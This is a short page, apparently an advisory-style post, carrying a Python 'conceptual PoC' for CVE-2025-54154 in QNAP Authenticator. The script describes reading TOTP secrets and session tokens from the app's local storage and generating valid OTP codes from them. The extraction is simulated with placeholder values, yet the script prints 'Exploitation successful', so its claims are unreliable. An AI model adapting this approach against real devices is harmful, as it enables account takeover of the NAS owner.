CVE-2025-54154 QNAP Authenticator身份认证绕过漏洞

# CVE-2025-54154 - QNAP Authenticator Improper Authentication PoC # Note: This vulnerability requires physical access to the target device. # The following demonstrates the conceptual exploitation approach. import json import time import hashlib class QNAPAuthenticatorExploit: """ Conceptual PoC for CVE-2025-54154: Improper Authentication in QNAP Authenticator. The vulnerability exists due to insufficient identity verification in the authentication workflow, allowing an attacker with physical access to bypass authentication checks. """ def __init__(self, target_device_path): self.target_device_path = target_device_path self.auth_data = None def step1_access_local_storage(self): """Step 1: Access the local storage of QNAP Authenticator on the device.""" print("[*] Accessing local storage of QNAP Authenticator...") # In real scenario, attacker accesses the app's local data directory # Common paths on Android: /data/data/com.qnap.qnapauthenticator/ # Common paths on iOS: App sandbox container try: # Simulate reading stored authentication tokens/keys self.auth_data = { "device_id": "QNAP-NAS-XXXXXX", "totp_secret": "JBSWY3DPEHPK3PXP", "session_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "user_account": "admin" } print("[+] Successfully accessed authentication data from local storage") return True except Exception as e: print(f"[-] Failed to access local storage: {e}") return False def step2_bypass_authentication(self): """Step 2: Bypass the authentication mechanism using extracted data.""" print("[*] Attempting to bypass authentication...") if not self.auth_data: print("[-] No authentication data available") return False # The vulnerability allows direct use of stored credentials # without proper re-authentication print("[+] Using extracted session token to bypass authentication") print(f"[+] Session token: {self.auth_data['session_token'][:20]}...") return True def step3_generate_otp(self): """Step 3: Generate valid OTP using extracted TOTP secret.""" print("[*] Generating valid TOTP code...") # RFC 6238 TOTP generation using extracted secret import hmac import base64 import struct secret = self.auth_data.get("totp_secret", "") key = base64.b32decode(secret) counter = int(time.time()) // 30 msg = struct.pack('>Q', counter) hmac_digest = hmac.new(key, msg, hashlib.sha1).digest() offset = hmac_digest[-1] & 0x0f code = (struct.unpack('>I', hmac_digest[offset:offset+4])[0] & 0x7fffffff) % 1000000 otp_code = str(code).zfill(6) print(f"[+] Generated OTP: {otp_code}") return otp_code def exploit(self): """Execute the full exploitation chain.""" print("=" * 60) print("CVE-2025-54154 Exploitation PoC") print("Target: QNAP Authenticator (Improper Authentication)") print("=" * 60) if self.step1_access_local_storage(): if self.step2_bypass_authentication(): otp = self.step3_generate_otp() print(f"\n[!] Exploitation successful. Use OTP '{otp}' to access NAS.") print("[!] Recommend upgrading to QNAP Authenticator >= 1.3.1.1227") if __name__ == "__main__": exploit = QNAPAuthenticatorExploit("/data/data/com.qnap.qnapauthenticator/") exploit.exploit()